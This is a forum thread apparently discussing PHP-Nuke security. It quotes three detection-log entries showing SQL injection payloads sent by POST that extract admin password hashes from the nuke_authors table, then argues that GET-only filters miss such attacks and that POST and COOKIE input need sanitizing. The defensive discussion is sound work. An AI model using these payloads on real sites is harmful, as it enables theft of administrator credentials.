Here are 3 examples from our detection log files:
Quote: | request:
_GET[name] = Encyclopedia
_POST[file] = search
_POST[query] = -1' UNION SELECT 0,pwd FROM nuke_authors/*
_COOKIE[lastvisita] = 1086277415
Serverinfo:
REMOTE_ADDR: 82.xxx.xxx.xxx
QUERY_STRING: name=Encyclopedia
REQUEST_URI: /modules.php?name=Encyclopedia
|
Quote: | request:
_GET[name] = Journal
_POST[file] = search
_POST[disp] = search
_POST[bywhat] = aid
_POST[forwhat] = -1' UNION SELECT 0,0,aid,pwd,0,0,0,0,0 FROM nuke_authors/*
_COOKIE[lastvisita] = 1086277415
Serverinfo:
REMOTE_ADDR: 82.xxx.xxx.xxx
QUERY_STRING: name=Journal
REQUEST_URI: /modules.php?name=Journal
|
Quote: | request:
_GET[name] = FAQ
_POST[myfaq] = yes
_POST[id_cat] = -1' UNION SELECT 0,0,aid,pwd FROM nuke_authors/*
Serverinfo:
REMOTE_ADDR: 82.xxx.xxx.xxx
QUERY_STRING: name=FAQ
REQUEST_URI: /modules.php?name=FAQ

As you can see, the hackers do not attack over the URL. They dispatch
the data over a form by using Post. All safety systems like fortress, which examine only the Getvars (_SERVER['query_string']), are therefore useless.
Here is a critical report over an older version of fortress. In addition, most described applies to the new version.

Script Kiddie
A person, normally someone who is not technologically sophisticated, who randomly seeks out a specific weakness over the Internet in order to gain root access to a system without really understanding what it is s/he is exploiting because the weakness was discovered by someone else. A script kiddie is not looking to target specific information or a specific company but rather uses knowledge of a vulnerability to scan the entire Internet for a victim that possesses that vulnerability |

Tora knows the stuff, its obvious from his posts. Scriptkiddies are beginners, who are learned, how to USE exploits, but they are not YET understanding fully, how it works. Tora has by my opinion advanced knowledge/skills in phpnuke/mysql and other stuff, he/she is definately not a scriptkiddie

Yes, you are absolutely right - sanityzing only the GET parameters/QUERY string is useless and POST and COOKIE variables must be sanitized too. Because phpnuke globalizes all the GET/POST/COOKIE parameters and its not hard to attacker to inject mailicious requests through COOKIE for example...
I suggest to use Sentinel protection system. Its my favorite in this moment and it will add good security layer between potential attackers and website.
